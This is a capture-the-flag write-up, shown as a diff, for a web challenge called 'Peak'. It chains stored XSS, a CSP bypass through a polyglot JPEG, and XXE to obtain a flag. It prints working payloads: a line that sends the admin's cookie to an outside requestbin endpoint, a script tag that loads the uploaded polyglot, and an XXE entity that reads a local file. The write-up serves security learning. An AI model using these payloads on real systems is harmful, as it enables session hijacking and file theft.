|
| 1 | +# Peak |
| 2 | + |
| 3 | +_**Keywords:** Stored XSS, XXE, CSP Bypass, Polyglot JavaScript/JPEG_ |
| 4 | + |
| 5 | +<img src="imgs/intro.png" alt="image" width="30%"/> |
| 6 | + |
| 7 | +Peak is a web challenge that exhibits two crucial vulnerabilities also found in the [OWASP Top 10](https://owasp.org/www-project-top-ten/): |
| 8 | +* Cross-Site Scripting (XSS) |
| 9 | +* XML External Entities (XXE) |
| 10 | + |
| 11 | +Upon user registration, an individual can store a message on the platform, which will later be reviewed by the admin. |
| 12 | + |
| 13 | +<img src="imgs/contact-us.png" alt="image" width="50%"/> |
| 14 | + |
| 15 | +However, the content entered into the "Message" field is not filtered, allowing the inclusion of scripts and malicious code. |
| 16 | + |
| 17 | +Attempting to store a message with the following content: |
| 18 | + |
| 19 | +```javascript |
| 20 | +<script>alert(1);</script> |
| 21 | +``` |
| 22 | + |
| 23 | +and inspecting it through the provided link reveals that the code is not executed. |
| 24 | + |
| 25 | +This is due to the presence of the <code>Content-Security-Policy: script-src "self"</code> header in the response, preventing the execution of inline scripts. To bypass this mitigation, we leverage the image upload functionality to load a JPEG file containing JavaScript code (Polyglot JavaScript/JPEG), (***Polyglot JavaScript/JPEG***), as detailed [here](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs). |
| 26 | + |
| 27 | +Using the hexadecimal editor **GHex**, we create the _'xss.jpg'_ image containing the following JS code: |
| 28 | + |
| 29 | +```javascript |
| 30 | +location.href="https://en6dm14fuwglk.x.pipedream.net/"+document.cookie |
| 31 | +``` |
| 32 | + |
| 33 | +This allows us to retrieve the admin's cookie (https://en6dm14fuwglk.x.pipedream.net/ is an endpoint controlled directly by us, generated with **requestbin**). |
| 34 | + |
| 35 | +Next, we upload a message with the _'xss.jpg'_. image. It is stored on the server with the path _/uploads/<id>_. This step enables us to upload the file with the required code. The last step is to invoke it. |
| 36 | + |
| 37 | +We load a new message, this time inserting the following JS code into the "Message" field: |
| 38 | + |
| 39 | +```javascript |
| 40 | +<script charset="ISO-8859-1" src="/uploads/<id>"></script> |
| 41 | +``` |
| 42 | + |
| 43 | +Done!\ |
| 44 | +When the admin opens this message, the code embedded in the image is invoked, and their session cookie is sent to our endpoint. |
| 45 | + |
| 46 | +After obtaining the admin's session and accessing their profile, we discover a new "Edit Map" feature utilizing the XML language. |
| 47 | + |
| 48 | +<img src="imgs/admin.png" alt="image" width="50%"/> |
| 49 | + |
| 50 | +Here, we exploit an [XXE vulnerability](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files). By sending the following payload: |
| 51 | + |
| 52 | +```xml |
| 53 | +<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> |
| 54 | +<markers> |
| 55 | + <marker> |
| 56 | + <lat>47.0748663672</lat> |
| 57 | + <lon>12.695247219</lon> |
| 58 | + <name>&xxe;</name> |
| 59 | + </marker> |
| 60 | +</markers> |
| 61 | +``` |
| 62 | + |
| 63 | +we successfully retrieve the sought-after flag! |
| 64 | + |
| 65 | +<img src="imgs/flag.png" alt="image" width="50%"/> |
0 commit comments